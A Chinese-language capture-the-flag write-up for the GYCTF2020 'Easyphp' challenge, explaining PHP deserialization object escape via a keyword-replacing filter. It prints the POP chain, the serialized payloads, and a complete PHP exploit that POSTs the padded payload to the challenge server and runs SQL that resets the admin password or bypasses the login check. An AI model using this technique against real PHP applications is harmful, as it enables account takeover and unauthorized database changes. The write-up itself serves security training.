[GYCTF2020]Easyphp
考点:反序列化的对象逃逸
非常典型的登陆界面,随便输了输,发现存在admin
用户,猜测是弱口令
,拿字典跑了一遍,无果
按照以往的做题经验,觉得可能有源码泄露,尝试/www.zip
得到源码。一共4个文件index.php、login.php、update.php、lib.php
,然后开始进行分析源码
在update.php
中发现,如果成功登录就会输出flag
<?php
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
在login.php
和index.php
中没有发现利用点,显而易见,在lib.php
中有很明显的魔术方法,猜测需要用到反序列化攻击
,所以我们首先需要找到反序列化攻击的利用点,很明显在update
方法中
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
这里最重要的一句话safe(serialize(new Info($age,$nickname)))
显示将Info
类进行序列化然后经过safe
过滤,然后再回到update
方法中反序列化,再看看safe
函数
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
其实不难想到,有str_replace
方法的存在就能猜测是反序列化逃逸
,在之前的[安洵杯 2019]easy_serialize_php
一题中有说到过,这个属于关键词数增加型。在序列化和反序列化过程中,字符串发生了变化,导致了反序列化时的字符串为恶意构造的代码,从而造成攻击。
现在我们首先需要找到可以利用的pop链,这里就不详细说了,直接上链子
UpdateHelper::__destruct => User::__toString => Info::__call => dbCtrl::login
<?php
class User
{
public $age=null;
public $nickname=null;
public function __construct()
{
$this->nickname = new Info;
$this->age = 'select id,passwd from user where username=?';
}
}
class Info{
public function __construct(){
$this->CtrlCase = new dbCtrl;
}
}
Class UpdateHelper{
public $sql;
public function __construct(){
$this->sql = new User;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name = "admin";
public $password = '1';
}
$o = new UpdateHelper;
echo serialize($o);
运行代码得到
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
还没完,我们还需要通过逃逸来让这段恶意的字符串成功进行反序列化
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
通过上面这个代码我们发现,有两个参数是可控的,举个例子
age=123&nikename=456
serialize(new Info($age,$nickname)) =》
O:4:"Info":3:{s:3:"age";s:3:"123";s:8:"nickname";s:3:"456";s:8:"CtrlCase";N;}
通过上述序列化字符串,我们可以构造出这样的参数
age=123&nickname=1";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}
此时形成的序列化字符串应该是这样的
O:4:"Info":3:{s:3:"age";s:3:"123";s:8:"nickname";s:343:"1";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:43:"select id,passwd from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}";s:8:"CtrlCase";N;}
我们只需要让nickname
字段的长度经过safe
函数后再增长343,就可以将而已代码逃逸出去了。
所以我们最终写出了exp:
<?php
class User
{
public $age=null;
public $nickname=null;
public function __construct()
{
$this->nickname = new Info;
$this->age = 'update user SET password="c4ca4238a0b923820dcc509a6f75849b" where username=?';
}
}
class Info{
public function __construct(){
$this->CtrlCase = new dbCtrl;
}
}
Class UpdateHelper{
public $sql;
public function __construct(){
$this->sql = new User;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name = "admin"; // 这里一定要写,sql中的?是占位符
}
$o = new UpdateHelper;
// echo serialize($o);
$len = strlen('";s:8:"CtrlCase";'.serialize($o).';}');
$payload = str_repeat('union', $len).'";s:8:"CtrlCase";'.serialize($o).';}';
// echo $payload;
$data = array("age"=>"1","nickname"=>$payload);
$url = 'http://67f83c7f-1a30-49e5-8600-5f66e0add5a1.node4.buuoj.cn:81/update.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));//将数组转换为URL请求字符串,否则有些时候可能服务端接收不到参数
curl_setopt($ch, CURLOPT_HEADER, false);
$responds = curl_exec($ch);//接受响应
curl_close($ch);//关闭连接
echo $responds;
通过修改第9行的sql
代码,这样我们就可以执行sql
命令了
$result->bind_param('s', $this->name);
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
这句话为将$this->name
传给 sql 语句中?
占位符
sql1:
select password,id from user where username=?
输出password
,得到密码的md5值,解密后正常登录
sql2:
update user SET password="c4ca4238a0b923820dcc509a6f75849b" where username=?
修改admin
用户的密码,c4ca4238a0b923820dcc509a6f75849b
是1
的md5值
sql3:
select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?
这个方法需要将dbCtrl
类的password
属性值改为1
,利用绕过所有的if
,从而使admin
用户成功登录,直接返回login.php
或刷新页面就可以得到flag
,exp中